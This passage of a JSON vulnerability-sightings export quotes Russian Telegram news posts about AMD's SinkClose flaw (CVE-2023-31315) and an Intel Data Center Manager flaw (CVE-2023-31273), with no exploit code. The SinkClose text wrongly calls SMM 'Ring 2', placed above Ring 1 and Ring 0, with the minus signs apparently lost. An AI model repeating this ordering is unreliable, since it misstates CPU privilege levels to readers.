\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c.\n\nRing 2 \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u2013 \u0432\u044b\u0448\u0435 Ring 1 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u043e\u0432 \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0426\u041f) \u0438 Ring 0 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u044f\u0434\u0440\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b).\n\n\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring 2 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 System Management Mode (SMM) \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0426\u041f. SMM \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c, \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0418\u0437-\u0437\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 SMM \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0435\u0433\u043e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31315 \u0438 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,5. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u042d\u043d\u0440\u0438\u043a\u0435 \u041d\u0438\u0441\u0441\u0438\u043c \u0438 \u041a\u0448\u0438\u0448\u0442\u043e\u0444 \u041e\u043a\u0443\u043f\u0441\u043a\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 IOActive, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0434\u0430\u043b\u0438 \u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 SinkClose.\n\n\u041f\u043e\u043b\u043d\u044b\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0432 \u0434\u043e\u043a\u043b\u0430\u0434\u0435 DefCon \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u00abAMD Sinkclose: \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring 2\u00bb.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 Sinkclose \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0439 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 20 \u043b\u0435\u0442 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0447\u0438\u043f\u043e\u0432 AMD.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SinkClose \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430 (Ring 0) \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 (SMM), \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 SMM. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e. Ring 2 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u041e\u0421 \u0438 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u044e\u0431\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u044d\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u0432 \u041e\u0421.\n\n\u041e\u043a\u0443\u043f\u0441\u043a\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0438\u0437\u0434\u0430\u043d\u0438\u044e Wired, \u0447\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0432\u0440\u0435\u0434, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SinkClose, \u2014 \u044d\u0442\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0426\u041f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0442\u043e\u0440\u0430 SPI Flash \u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e AMD, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438:\n\n- EPYC 1-\u0433\u043e, 2-\u0433\u043e, 3-\u0433\u043e \u0438 4-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439;\n- EPYC Embedded 3000, 7002, 7003 \u0438 9003, R1000, R2000, 5000 \u0438 7000;\n- Ryzen Embedded V1000, V2000 \u0438 V3000;\n- Ryzen 3000, 5000, 4000, 7000 \u0438 8000 \u0441\u0435\u0440\u0438\u0439;\n- Ryzen 3000 Mobile, 5000 Mobile, 4000 Mobile \u0438 7000 Mobile \u0441\u0435\u0440\u0438\u0439;\n- Ryzen Threadripper 3000 \u0438 7000 \u0441\u0435\u0440\u0438\u0439;\n- AMD Threadripper PRO (Castle Peak WS SP3, Chagall WS);\n- AMD Athlon 3000 \u0441\u0435\u0440\u0438\u0438 Mobile (Dali, Pollock);\n- AMD Instinct MI300A.\n\nAMD \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC \u0438 AMD Ryzen, \u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435.\n\n\u0412\u0430\u0436\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u044d\u0442\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2023-31315. \u0423\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 SinkClose \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 AMD \u0432 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f Wired. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 IOActive \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043d\u0435 \u0440\u0435\u0434\u043a\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.wired.com/story/amd-chip-sinkclose-flaw/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T02:02:07.297884Z"}, {"uuid": "254ab99a-5618-499f-b6b3-0178ec34d9c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31273", "type": "seen", "source": "https://t.me/EchelonEyes/2194", "content": "\u041d\u041a\u0426\u041a\u0418 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0426\u041e\u0414\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel \n\n\u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u043f\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u043c \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c (\u041d\u041a\u0426\u041a\u0418) \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 Intel Data Center Manager (DCM), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31273 \u0432 \u0431\u0430\u0437\u0435 NIST NVD \u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043b\u0435\u0433\u043a\u043e\u0441\u0442\u0438 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 DCM \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e 5.2.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u0441\u0435 \u0435\u0449\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041d\u041a\u0426\u041a\u0418 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0435 \u043a\u0430\u043a \u00ab\u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\u00bb.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://safe-surf.ru/specialists/bulletins-nkcki/701581/\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0426\u041e\u0414 #Intel", "creation_timestamp": "2026-07-26T02:02:18.743713Z"}, {"uuid": "34be5571-30c4-4019-8cf8-c724412086dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "seen", "source": "https://t.me/EchelonEyes/3046", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SinkClose \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0447\u0438\u043f\u043e\u0432 AMD \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f AMD \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c SinkClose \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC, Ryzen \u0438 Threadripper. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0443\u0440\u043e\u0432\u043d\u044f \u044f\u0434\u0440\u0430 (Ring 0) \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 Ring 2 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c.\n\nRing 2 \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u2013 \u0432\u044b\u0448\u0435 Ring 1 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u043e\u0432 \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0426\u041f) \u0438 Ring 0 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u044f\u0434\u0440\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b).\n\n\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Ring 2 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 System Management Mode (SMM) \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0426\u041f. SMM \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c, \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0418\u0437-\u0437\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 SMM \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0435\u0433\u043e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-31315 \u0438 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,5. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u042d\u043d\u0440\u0438\u043a\u0435 \u041d\u0438\u0441\u0441\u0438\u043c \u0438 \u041a\u0448\u0438\u0448\u0442\u043e\u0444 \u041e\u043a\u0443\u043f\u0441\u043a\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 IOActive, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438 \u0434\u0430\u043b\u0438 \u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 SinkClose.\n\n\u041f\u043e\u043b\u043d\u044b\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u0431\u044b\u043b\u0438 